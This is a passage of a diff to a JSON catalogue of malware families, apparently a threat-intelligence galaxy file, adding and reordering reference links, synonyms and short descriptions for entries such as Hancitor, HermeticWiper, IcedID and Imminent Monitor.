"https://www.binarydefense.com/analysis-of-hancitor-when-boring-begets-beacon", + "https://malware-traffic-analysis.net/2021/09/29/index.html", "https://0ffset.net/reverse-engineering/malware-analysis/reversing-hancitor-again/", "https://isc.sans.edu/forums/diary/Hancitor+activity+resumes+after+a+hoilday+break/26980/", - "https://www.intel471.com/blog/Cobalt-strike-cybercriminals-trickbot-qbot-hancitor", + "https://twitter.com/TheDFIRReport/status/1359669513520873473", + "https://muha2xmad.github.io/malware-analysis/fullHancitor/", + "https://www.uperesia.com/hancitor-packer-demystified", "https://researchcenter.paloaltonetworks.com/2018/02/unit42-dissecting-hancitors-latest-2018-packer/", - "https://blog.group-ib.com/prometheus-tds", "https://www.vkremez.com/2018/11/lets-learn-in-depth-reversing-of.html", "https://isc.sans.edu/diary/rss/27618", - "https://twitter.com/TheDFIRReport/status/1359669513520873473", + "https://blog.group-ib.com/prometheus-tds", + "https://medium.com/@crovax/extracting-hancitors-configuration-with-ghidra-7963900494b5", "https://www.fireeye.com/blog/threat-research/2016/09/hancitor_aka_chanit.html", "https://www.zscaler.com/blogs/research/chanitor-downloader-actively-installing-vawtrak", "https://fidelissecurity.com/threatgeek/archive/me-and-mr-robot-tracking-actor-behind-man1-crypter/", + "https://www.0ffset.net/reverse-engineering/malware-analysis/hancitor-analysing-the-main-loader/", "https://blog.minerva-labs.com/new-hancitor-pimp-my-downloader", + "https://www.0ffset.net/reverse-engineering/malware-analysis/hancitor-maldoc-analysis/", "https://www.dodgethissecurity.com/2019/11/01/hancitor-evasive-new-waves-and-how-com-objects-can-use-cached-credentials-for-proxy-authentication/", + "https://www.silentpush.com/blog/pivoting-finding-malware-domains-without-seeing-malicious-activity", "https://researchcenter.paloaltonetworks.com/2018/02/unit42-compromised-servers-fraud-accounts-recent-hancitor-attacks/", + "https://muha2xmad.github.io/unpacking/hancitor/", "https://blog.group-ib.com/hancitor-cuba-ransomware", "https://cyber-anubis.github.io/malware%20analysis/hancitor/" ], @@ -19809,10 +23659,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.havex_rat", + "https://vblocalhost.com/uploads/VB2021-Slowik.pdf", + "https://www.cisa.gov/uscert/ncas/alerts/aa22-083a", "https://pylos.co/2020/11/04/the-enigmatic-energetic-bear/", "https://www.ironnet.com/blog/russian-cyber-attack-campaigns-and-actors", - "https://www.secureworks.com/research/threat-profiles/iron-liberty", - "https://www.f-secure.com/weblog/archives/00002718.html" + "https://www.f-secure.com/weblog/archives/00002718.html", + "https://www.secureworks.com/research/threat-profiles/iron-liberty" ], "synonyms": [], "type": [] @@ -19840,6 +23692,7 @@ "https://malpedia.caad.fkie.fraunhofer.de/details/win.hawkeye_keylogger", "https://blog.talosintelligence.com/2019/04/hawkeye-reborn.html", "https://www.blueliv.com/cyber-security-and-cyber-threat-intelligence-blog-blueliv/covid-19-cybercrime-m00nd3v-hawkeye-malware-threat-actor/", + "https://www.secureworks.com/research/gold-galleon-how-a-nigerian-cyber-crew-plunders-the-shipping-industry", "https://cloudblogs.microsoft.com/microsoftsecure/2018/07/11/hawkeye-keylogger-reborn-v8-an-in-depth-campaign-analysis/", "https://securityintelligence.com/posts/roboski-global-recovery-automation/", "https://nakedsecurity.sophos.com/2016/02/29/the-hawkeye-attack-how-cybercrooks-target-small-businesses-for-big-money/", @@ -19850,7 +23703,7 @@ "https://www.cyberbit.com/blog/endpoint-security/hawkeye-malware-keylogging-technique/", "https://www.cyberbit.com/hawkeye-malware-keylogging-technique/", "https://www.trustwave.com/Resources/SpiderLabs-Blog/How-I-Cracked-a-Keylogger-and-Ended-Up-in-Someone-s-Inbox/", - "https://www.secureworks.com/research/gold-galleon-how-a-nigerian-cyber-crew-plunders-the-shipping-industry", + "https://github.com/itaymigdal/malware-analysis-writeups/blob/main/HawkEye/HawkEye.md", "https://www.secureworks.com/research/threat-profiles/gold-galleon", "http://www.secureworks.com/research/threat-profiles/gold-galleon", "https://www.govcert.ch/blog/analysis-of-an-unusual-hawkeye-sample/", @@ -19898,6 +23751,23 @@ "uuid": "af8df5d7-cd8c-41ea-b9ec-b69ab7811e2d", "value": "HDRoot" }, + { + "description": "The Chinese threat actor \"Scarab\" is using a custom backdoor dubbed \"HeaderTip\" according to SentinelLABS. This malware may be the successor of \"Scieron\".", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.headertip", + "https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-headertip", + "https://cert.gov.ua/article/38097", + "https://cip.gov.ua/en/news/khto-stoyit-za-kiberatakami-na-ukrayinsku-kritichnu-informaciinu-infrastrukturu-statistika-15-22-bereznya", + "https://www.sentinelone.com/labs/chinese-threat-actor-scarab-targeting-ukraine/", + "https://blogs.blackberry.com/en/2022/04/threat-thursday-headertip-backdoor-shows-attackers-from-china-preying-on-ukraine" + ], + "synonyms": [], + "type": [] + }, + "uuid": "994c64f3-ca59-4392-9ab4-0256e79fcfad", + "value": "HeaderTip" + }, { "description": "", "meta": { @@ -19920,11 +23790,19 @@ "https://id-ransomware.blogspot.com/2020/11/hellokitty-ransomware.html", "https://www.bleepingcomputer.com/news/security/hellokitty-ransomware-is-targeting-vulnerable-sonicwall-devices/", "https://www.databreaches.net/babuk-re-organizes-as-payload-bin-offers-its-first-leak/", + "https://www.advintel.io/post/enter-karakurt-data-extortion-arm-of-prolific-ransomware-group", + "https://www.ic3.gov/Media/News/2021/211029.pdf", "https://unit42.paloaltonetworks.com/emerging-ransomware-groups/", "https://www.cadosecurity.com/post/punk-kitty-ransom-analysing-hellokitty-ransomware-attacks", + "https://www.speartip.com/resources/fbi-hellokitty-ransomware-adds-ddos-to-extortion-arsenal/", + "https://www.advintel.io/post/discontinued-the-end-of-conti-s-brand-marks-new-chapter-for-cybercrime-landscape", "https://blog.malwarebytes.com/threat-spotlight/2021/03/hellokitty-when-cyberpunk-met-cy-purr-crime/", "https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html", + "https://www.esentire.com/blog/conti-affiliate-exposed-new-domain-names-ip-addresses-and-email-addresses-uncovered-by-esentire", "https://labs.sentinelone.com/hellokitty-ransomware-lacks-stealth-but-still-strikes-home/", + "https://blog.bushidotoken.net/2022/05/gamer-cheater-hacker-spy.html", + "https://medium.com/proferosec-osm/static-unpacker-and-decoder-for-hello-kitty-packer-91a3e8844cb7", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", "https://www.crowdstrike.com/blog/new-ransomware-variant-uses-golang-packer/" ], "synonyms": [ @@ -19986,6 +23864,7 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.heriplor", "https://insights.sei.cmu.edu/cert/2019/03/api-hashing-tool-imagine-that.html", + "https://vblocalhost.com/uploads/VB2021-Slowik.pdf", "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/dragonfly-energy-sector-cyber-attacks", "https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group" ], @@ -20000,11 +23879,15 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.hermes", + "https://vxhive.blogspot.com/2020/11/deep-dive-into-hermes-ransomware.html", "https://medium.com/ax1al/reversing-ryuk-eef8ffd55f12", + "https://www.youtube.com/watch?v=9nuo-AGg4p4", "https://i.blackhat.com/eu-20/Wednesday/eu-20-Rivera-From-Zero-To-Sixty-The-Story-Of-North-Koreas-Rapid-Ascent-To-Becoming-A-Global-Cyber-Superpower.pdf", + "https://web.archive.org/web/20200922165625/https://dcso.de/2019/03/18/enterprise-malware-as-a-service/", "http://baesystemsai.blogspot.de/2017/10/taiwan-heist-lazarus-tools.html", - "https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf", "https://www.proofpoint.com/us/threat-insight/post/new-version-azorult-stealer-improves-loading-features-spreads-alongside", + "https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf", + "https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/", "https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/" ], "synonyms": [], @@ -20013,23 +23896,102 @@ "uuid": "30a230c1-b598-4d06-90ab-3254d6a626d8", "value": "Hermes" }, + { + "description": "According to SentinelLabs, HermeticWiper is a custom-written application with very few standard functions. It abuses a signed driver called \"empntdrv.sys\" which is associated with the legitimate Software \"EaseUS Partition Master Software\" to enumerate the MBR and all partitions of all Physical Drives connected to the victims Windows Device and overwrite the first 512 Bytes of every MBR and Partition it can find, rendering them useless. \r\nThis malware is associated to the malware attacks against Ukraine during Russians Invasion in February 2022.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.hermeticwiper", + "https://blog.malwarebytes.com/threat-intelligence/2022/03/hermeticwiper-a-detailed-analysis-of-the-destructive-malware-that-targeted-ukraine/", + "https://therecord.media/second-data-wiper-attack-hits-ukraine-computer-networks/", + "https://blogs.blackberry.com/en/2022/03/threat-thursday-hermeticwiper", + "https://www.sentinelone.com/labs/hermetic-wiper-ukraine-under-attack/", + "https://socradar.io/what-you-need-to-know-about-russian-cyber-escalation-in-ukraine/", + "https://www.youtube.com/watch?v=sUlW45c9izU", + "https://inquest.net/blog/2022/04/07/ukraine-cyberwar-overview", + "https://blog.nviso.eu/2022/02/24/threat-update-ukraine-russia-tensions/", + "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/defenders-blog-on-cyberattacks-targeting-ukraine.html", + "https://www.zscaler.com/blogs/security-research/hermeticwiper-resurgence-targeted-attacks-ukraine", + "https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-hermeticwiper-partyticket", + "https://eln0ty.github.io/malware%20analysis/HermeticWiper/", + "https://cybersecurity.att.com/blogs/labs-research/analysis-on-recent-wiper-attacks-examples-and-how-they-wiper-malware-works", + "https://blogs.vmware.com/networkvirtualization/2022/03/hermetic-malware-multi-component-threat-targeting-ukraine-organizations.html/", + "https://securityboulevard.com/2022/03/isaacwiper-followed-hermeticwiper-attack-on-ukraine-orgs/", + "https://learnsentinel.blog/2022/02/28/detecting-malware-kill-chains-with-defender-and-microsoft-sentinel/", + "https://go.recordedfuture.com/hubfs/reports/mtp-2022-0302.pdf", + "https://unit42.paloaltonetworks.com/preparing-for-cyber-impact-russia-ukraine-crisis/", + "https://www.kaspersky.com/blog/hermeticransom-hermeticwiper-attacks-2022/43825/", + "https://cluster25.io/2022/02/24/ukraine-analysis-of-the-new-disk-wiping-malware/", + "https://marcoramilli.com/2022/03/01/diskkill-hermeticwiper-and-notpetya-dissimilarities/", + "https://www.nextgov.com/cybersecurity/2022/03/ukrainian-cyber-lead-least-4-types-malware-are-targeting-ukrainian-institutions/363558/", + "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-057A_Destructive_Malware_Targeting_Organizations_in_Ukraine.pdf", + "https://thehackernews.com/2022/02/new-wiper-malware-targeting-ukraine.html", + "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/growling-bears-make-thunderous-noise.html", + "https://www.welivesecurity.com/2022/03/01/isaacwiper-hermeticwizard-wiper-worm-targeting-ukraine/", + "https://yoroi.company/research/diskkill-hermeticwiper-a-disruptive-cyber-weapon-targeting-ukraines-critical-infrastructures/", + "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE4Vwwd", + "https://thehackernews.com/2022/02/putin-warns-russian-critical.html", + "https://www.cisa.gov/uscert/ncas/alerts/aa22-057a", + "https://eclypsium.com/2022/06/02/conti-targets-critical-firmware/", + "https://www.mandiant.com/resources/russia-invasion-ukraine-retaliation", + "https://www.welivesecurity.com/2022/02/24/hermeticwiper-new-data-wiping-malware-hits-ukraine/", + "https://www.brighttalk.com/webcast/15591/534324", + "https://www.secureworks.com/blog/disruptive-hermeticwiper-attacks-targeting-ukrainian-organizations", + "https://www.splunk.com/en_us/blog/security/detecting-hermeticwiper.html", + "https://dgc.org/en/hermeticwiper-malware/", + "https://twitter.com/threatintel/status/1496578746014437376", + "https://community.riskiq.com/article/9f59cb85", + "https://www.englert.one/hermetic-wiper-reverse-code-engineering", + "https://t3n.de/news/cyber-attacken-ukraine-wiper-malware-1454318/", + "https://twitter.com/fr0gger_/status/1497121876870832128", + "https://www.fortinet.com/blog/threat-research/the-increasing-wiper-malware-threat", + "https://brandefense.io/hermeticwiper-technical-analysis-report/", + "https://securelist.com/webinar-on-cyberattacks-in-ukraine-summary-and-qa/106075/", + "https://www.crowdstrike.com/blog/how-crowdstrike-falcon-protects-against-wiper-malware-used-in-ukraine-attacks/", + "https://cloudsek.com/technical-analysis-of-the-hermetic-wiper-malware-used-to-target-ukraine/", + "https://cyberpeaceinstitute.org/ukraine-timeline-of-cyberattacks", + "https://www.mandiant.com/resources/information-operations-surrounding-ukraine", + "https://elastic.github.io/security-research/intelligence/2022/03/01.hermeticwiper-targets-ukraine/article/", + "https://www.deepinstinct.com/blog/hermeticwiper-malware-the-russian-ukrainian-cyber-war", + "https://www.tesorion.nl/en/resources/pdfstore/Report-OSINT-Russia-Ukraine-Conflict-Cyberaspect.pdf", + "https://www.zdnet.com/article/microsoft-finds-foxblade-malware-on-ukrainian-systems-removing-rt-from-windows-app-store/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ukraine-wiper-malware-russia", + "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/digging-into-hermeticwiper.html", + "https://lifars.com/2022/03/a-closer-look-at-the-russian-actors-targeting-organizations-in-ukraine/", + "https://threatpost.com/microsoft-ukraine-foxblade-trojan-hours-before-russian-invasion/178702/", + "https://cip.gov.ua/en/news/khto-stoyit-za-kiberatakami-na-ukrayinsku-kritichnu-informaciinu-infrastrukturu-statistika-15-22-bereznya", + "https://securityintelligence.com/posts/new-destructive-malware-cyber-attacks-ukraine/", + "https://msrc-blog.microsoft.com/2022/02/28/analysis-resources-cyber-threat-activity-ukraine", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/c/cyberattacks-are-prominent-in-the-russia-ukraine-conflict/IOC%20Resource%20for%20Russia-Ukraine%20Conflict-Related%20Cyberattacks-03032022.pdf", + "https://www.bitdefender.com/blog/hotforsecurity/five-things-you-need-to-know-about-the-cyberwar-in-ukraine/", + "https://blog.qualys.com/vulnerabilities-threat-research/2022/03/01/ukrainian-targets-hit-by-hermeticwiper-new-datawiper-malware" + ], + "synonyms": [ + "DriveSlayer", + "FoxBlade", + "KillDisk.NCV", + "NEARMISS" + ], + "type": [] + }, + "uuid": "db6c1ec5-3961-47ce-9cd1-e650388a15fd", + "value": "HermeticWiper" + }, { "description": "", "meta": { "refs": [ - "https://malpedia.caad.fkie.fraunhofer.de/details/win.hermes_ransom", - "https://blog.dcso.de/enterprise-malware-as-a-service/", - "https://vxhive.blogspot.com/2020/11/deep-dive-into-hermes-ransomware.html", - "https://www.youtube.com/watch?v=9nuo-AGg4p4", - "https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/", - "https://dcso.de/2019/03/18/enterprise-malware-as-a-service", - "https://www.proofpoint.com/us/threat-insight/post/new-version-azorult-stealer-improves-loading-features-spreads-alongside" + "https://malpedia.caad.fkie.fraunhofer.de/details/win.hermeticwizard", + "https://twitter.com/ET_Labs/status/1502494650640351236", + "https://www.brighttalk.com/webcast/15591/534324", + "https://inquest.net/blog/2022/04/07/ukraine-cyberwar-overview", + "https://securelist.com/webinar-on-cyberattacks-in-ukraine-summary-and-qa/106075/", + "https://twitter.com/silascutler/status/1501668345640366091" ], "synonyms": [], "type": [] }, - "uuid": "4d8da0af-cfd7-4990-b211-af0e9906eca0", - "value": "Hermes Ransomware" + "uuid": "f4400c49-75c6-494a-aa3e-d873404281c1", + "value": "HermeticWizard" }, { "description": "", @@ -20055,6 +24017,19 @@ "uuid": "2637315d-d31e-4b64-aa4b-2fc265b0a1a3", "value": "HesperBot" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.hiasm", + "https://fortiguard.fortinet.com/encyclopedia/virus/6488677" + ], + "synonyms": [], + "type": [] + }, + "uuid": "c49e1f43-a16a-49b1-b23e-9e49cd20c90b", + "value": "HiAsm" + }, { "description": "", "meta": { @@ -20064,8 +24039,10 @@ "https://blog.malwarebytes.com/threat-analysis/2018/07/hidden-bee-miner-delivered-via-improved-drive-by-download-toolkit/", "https://www.bleepingcomputer.com/news/security/new-underminer-exploit-kit-discovered-pushing-bootkits-and-coinminers/", "https://blog.malwarebytes.com/threat-analysis/2019/05/hidden-bee-lets-go-down-the-rabbit-hole/", + "https://www.msreverseengineering.com/blog/2018/9/2/weekend-project-a-custom-ida-loader-module-for-the-hidden-bee-malware-family", "https://www.freebuf.com/column/174581.html", - "https://www.freebuf.com/column/175106.html" + "https://www.freebuf.com/column/175106.html", + "https://blog.malwarebytes.com/threat-analysis/2018/08/reversing-malware-in-a-custom-format-hidden-bee-elements/" ], "synonyms": [], "type": [] @@ -20078,6 +24055,7 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.hiddentear", + "https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-2/", "https://twitter.com/struppigel/status/950787783353884672", "https://www.bleepingcomputer.com/news/security/new-f-unicorn-ransomware-hits-italy-via-fake-covid-19-infection-map/", "https://twitter.com/JAMESWT_MHT/status/1264828072001495041", @@ -20214,16 +24192,44 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.hive", - "https://www.ic3.gov/Media/News/2021/210825.pdf", - "https://labs.sentinelone.com/hive-attacks-analysis-of-the-human-operated-ransomware-targeting-healthcare/", + "https://www.scmagazine.com/brief/breach/novel-obfuscation-leveraged-by-hive-ransomware", "https://www.netskope.com/blog/hive-ransomware-actively-targeting-hospitals", - "https://unit42.paloaltonetworks.com/emerging-ransomware-groups/" + "https://unit42.paloaltonetworks.com/emerging-ransomware-groups/", + "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/787/original/ransomware-chats.pdf", + "https://blog.group-ib.com/hive", + "https://www.sentinelone.com/blog/hive-ransomware-deploys-novel-ipfuscation-technique/", + "https://github.com/rivitna/Malware/tree/main/Hive", + "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-hive", + "https://www.threatstop.com/blog/first-conti-then-hive-costa-rica-gets-hit-with-ransomware-again", + "https://blog.talosintelligence.com/2022/05/conti-and-hive-ransomware-operations.html", + "https://www.advintel.io/post/discontinued-the-end-of-conti-s-brand-marks-new-chapter-for-cybercrime-landscape", + "https://www.incibe-cert.es/sites/default/files/contenidos/estudios/doc/incibe-cert_estudio_analisis_hive_2021_v1.pdf", + "https://www.connectwise.com/resources/hive-profile", + "https://securityaffairs.co/wordpress/128232/security/recover-files-hive-ransomware.html", + "https://www.advintel.io/post/enter-karakurt-data-extortion-arm-of-prolific-ransomware-group", + "https://lifars.com/2022/02/how-to-decrypt-the-files-encrypted-by-the-hive-ransomware/", + "https://thehackernews.com/2022/02/master-key-for-hive-ransomware.html", + "https://securelist.com/modern-ransomware-groups-ttps/106824/", + "https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf", + 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"https://content.secureworks.com/-/media/Files/US/Reports/Monthly%20Threat%20Intelligence/Secureworks_ECO1_ThreatIntelligenceExecutiveReport2022Vol2.ashx", + "https://securityintelligence.com/new-banking-trojan-icedid-discovered-by-ibm-x-force-research/", "http://www.intezer.com/icedid-banking-trojan-shares-code-pony-2-0-trojan/", "https://www.binarydefense.com/icedid-gziploader-analysis/", "https://blog.talosintelligence.com/2018/04/icedid-banking-trojan.html", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://matth.dmz42.org/posts/2022/automatically-unpacking-icedid-stage1-with-angr/", "https://github.com/Lastline-Inc/iocs-tools/tree/main/2021-07-IcedID-Part-2", "https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/?utm_campaign=blog&utm_medium=soc&utm_source=twtr&utm_content=sprout", + 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"https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-ransomexx", + "https://www.bleepingcomputer.com/news/security/microsoft-exchange-targeted-for-icedid-reply-chain-hijacking-attacks/", "https://gist.github.com/psrok1/e6bf5851d674edda03a201e7f24a5e6b", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker", "https://www.secureworks.com/research/threat-profiles/gold-swathmore", + "https://intel471.com/blog/conti-emotet-ransomware-conti-leaks", + "https://go.recordedfuture.com/hubfs/reports/cta-2021-1112.pdf", "https://www.crowdstrike.com/blog/digging-into-bokbots-core-module/", - "https://tccontre.blogspot.com/2021/01/", + "https://www.bleepingcomputer.com/news/security/hackers-target-ukrainian-govt-with-icedid-malware-zimbra-exploits/", + "https://www.fortinet.com/blog/threat-research/icedid-malware-analysis-part-one.html", "https://www.trendmicro.com/en_us/research/21/d/a-spike-in-bazarcall-and-icedid-activity.html", "https://www.f5.com/labs/articles/threat-intelligence/icedid-banking-trojan-uses-covid-19-pandemic-to-lure-new-victims", + "https://www.esentire.com/blog/conti-affiliate-exposed-new-domain-names-ip-addresses-and-email-addresses-uncovered-by-esentire", "https://thedfirreport.com/2021/07/19/icedid-and-cobalt-strike-vs-antivirus/", "https://news.sophos.com/en-us/2020/02/18/nearly-a-quarter-of-malware-now-communicates-using-tls/", "https://threatresearch.ext.hp.com/detecting-ta551-domains/", + "https://documents.trendmicro.com/assets/rpt/rpt-navigating-new-frontiers-trend-micro-2021-annual-cybersecurity-report.pdf", + "https://go.recordedfuture.com/hubfs/reports/cta-2022-0118.pdf", "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", "https://zero2auto.com/2020/06/22/unpacking-visual-basic-packers/", + "https://intel471.com/blog/malware-before-ransomware-trojan-information-stealer-cobalt-strike", "https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", "https://github.com/telekom-security/icedid_analysis", "https://www.nri-secure.co.jp/blog/explaining-the-tendency-of-malware-icedid", + "https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/", "https://labs.sentinelone.com/evasive-maneuvers-massive-icedid-campaign-aims-for-stealth-with-benign-macros/", + "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-leaks-examining-the-panama-papers-of-ransomware.html", "https://securityintelligence.com/icedid-operators-using-atsengine-injection-panel-to-hit-e-commerce-sites/", + "https://www.youtube.com/watch?v=7Dk7NkIbVqY", "https://thedfirreport.com/2021/05/12/conti-ransomware/", + "https://www.proofpoint.com/us/blog/threat-insight/first-step-initial-access-leads-ransomware", "https://www.vkremez.com/2018/09/lets-learn-deeper-dive-into.html", + "https://www.secureworks.com/blog/gold-ulrick-leaks-reveal-organizational-structure-and-relationships", "https://resource.redcanary.com/rs/003-YRU-314/images/2021-Threat-Detection-Report.pdf", - "https://medium.com/@dawid.golak/icedid-aka-bokbot-analysis-with-ghidra-560e3eccb766", "https://research.checkpoint.com/2021/melting-ice-tracking-icedid-servers-with-a-few-simple-steps/", "https://www.telekom.com/en/blog/group/article/let-s-set-ice-on-fire-hunting-and-detecting-icedid-infections-627240", "https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/", + "https://blog.bushidotoken.net/2022/04/lessons-from-conti-leaks.html", "https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", "https://www.cynet.com/attack-techniques-hands-on/shelob-moonlight-spinning-a-larger-web/", "https://0xc0decafe.com/malware-analyst-guide-to-pe-timestamps/", "https://www.fortinet.com/blog/threat-research/deep-dive-icedid-malware-analysis-of-child-processes.html", + "https://isc.sans.edu/forums/diary/How+the+Contact+Forms+campaign+tricks+people/28142/", "https://4rchib4ld.github.io/blog/IcedIDOnMyNeckImTheCoolest/", "https://therecord.media/meet-prometheus-the-secret-tds-behind-some-of-todays-malware-campaigns/", "https://securelist.com/malicious-spam-campaigns-delivering-banking-trojans/102917", + "https://team-cymru.com/blog/2021/11/03/webinject-panel-administration-a-vantage-point-into-multiple-threat-actor-campaigns/", "https://blog.reconinfosec.com/an-encounter-with-ta551-shathak", "https://blogs.vmware.com/security/2021/07/hunting-icedid-and-unpacking-automation-with-qiling.html", "https://unit42.paloaltonetworks.com/wireshark-tutorial-emotet-infection/", @@ -20705,27 +24770,36 @@ "https://blog.minerva-labs.com/icedid-maas", "https://blog.talosintelligence.com/2020/12/quarterly-ir-report-fall-2020-q4.html", "https://www.crowdstrike.com/blog/sin-ful-spiders-wizard-spider-and-lunar-spider-sharing-the-same-web/", - "https://www.cybereason.com/blog/cybereason-vs-egregor-ransomware", + "https://tccontre.blogspot.com/2021/01/", "https://digitalguardian.com/blog/iceid-banking-trojan-targeting-banks-payment-card-providers-e-commerce-sites", + "https://isc.sans.edu/forums/diary/TA551+Shathak+pushes+IcedID+Bokbot/28092/", "https://blog.reversinglabs.com/blog/code-reuse-across-packers-and-dll-loaders", "https://www.mimecast.com/globalassets/documents/whitepapers/taa551-treatresearch_final-1.15.21.pdf", - "https://www.fortinet.com/blog/threat-research/icedid-malware-analysis-part-two.html", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", "https://unit42.paloaltonetworks.com/ta551-shathak-icedid/", "https://www.youtube.com/watch?v=YEqLIR6hfOM", "https://blog.talosintelligence.com/2020/07/valak-emerges.html", "https://www.slideshare.net/codeblue_jp/cb19-cyber-threat-landscape-in-japan-revealing-threat-in-the-shadow-by-chi-en-shen-ashley-oleg-bondarenko", - "https://securityintelligence.com/new-banking-trojan-icedid-discovered-by-ibm-x-force-research/", + "https://thedfirreport.com/2022/04/25/quantum-ransomware/", + "https://medium.com/@dawid.golak/icedid-aka-bokbot-analysis-with-ghidra-560e3eccb766", + "https://www.fortinet.com/blog/threat-research/spoofed-invoice-drops-iced-id", "https://kienmanowar.wordpress.com/2020/08/16/manual-unpacking-icedid-write-up/", "https://github.com/f0wl/deICEr", "https://netresec.com/?b=214d7ff", "https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf", + "https://eln0ty.github.io/malware%20analysis/IcedID/", "https://blog.fox-it.com/2018/08/09/bokbot-the-rebirth-of-a-banker/", + "https://www.esentire.com/blog/icedid-to-cobalt-strike-in-under-20-minutes", + "https://awakesecurity.com/blog/detecting-icedid-and-cobalt-strike-beacon-with-network-detection-and-response/", "https://www.group-ib.com/blog/icedid", + "https://forensicitguy.github.io/analyzing-icedid-document/", "https://download.microsoft.com/download/f/8/1/f816b8b6-bee3-41e5-b6cc-e925a5688f61/Microsoft_Digital_Defense_Report_2020_September.pdf", "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", "https://blogs.vmware.com/security/2021/07/icedid-analysis-and-detection.html", "https://blog.group-ib.com/prometheus-tds", "https://www.microsoft.com/security/blog/2021/04/09/investigating-a-unique-form-of-email-delivery-for-icedid-malware/", + "https://threatpost.com/exchange-servers-speared-in-icedid-phishing-campaign/179137/", + "https://www.cybereason.com/blog/threat-analysis-report-all-paths-lead-to-cobalt-strike-icedid-emotet-and-qbot", "https://malwation.com/icedid-malware-technical-analysis-report/", "https://blogs.juniper.net/en-us/threat-research/iceid-campaign-strikes-back" ], @@ -20743,8 +24817,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.icedid_downloader", + "https://securityintelligence.com/new-banking-trojan-icedid-discovered-by-ibm-x-force-research/", "http://www.intezer.com/icedid-banking-trojan-shares-code-pony-2-0-trojan/", - "https://securityintelligence.com/new-banking-trojan-icedid-discovered-by-ibm-x-force-research/" + "https://threatray.com/blog/a-new-icedid-gziploader-variant/" ], "synonyms": [], "type": [] @@ -20873,14 +24948,15 @@ "value": "Imecab" }, { - "description": "", + "description": "MITRE describes Imminent Monitor as a commodity remote access tool (RAT) offered for sale from 2012 until 2019, when an operation was conducted to take down the Imminent Monitor infrastructure. Various cracked versions and variations of this RAT are still in circulation.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.imminent_monitor_rat", - "https://www.secureworks.com/research/threat-profiles/cobalt-trinity", + "https://unit42.paloaltonetworks.com/imminent-monitor-a-rat-down-under/", + "https://www.atomicmatryoshka.com/post/infographic-apts-in-south-america", "https://www.politie.nl/nieuws/2021/mei/19/04-aanhouding-in-onderzoek-naar-cybercrime.html", "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", - "https://unit42.paloaltonetworks.com/imminent-monitor-a-rat-down-under/", + "https://www.secureworks.com/research/threat-profiles/cobalt-trinity", "https://www.trendmicro.com/en_us/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-ameri.html", "https://itsjack.cc/blog/2016/01/imminent-monitor-4-rat-analysis-a-glance/", "https://ti.360.net/blog/articles/apt-c-36-continuous-attacks-targeting-colombian-government-institutions-and-corporations-en/", @@ -20906,6 +24982,20 @@ "uuid": "5f688e85-5f33-4ae6-880a-fc2e5146dd28", "value": " Immortal Stealer" }, + { + "description": "Keylogger written in 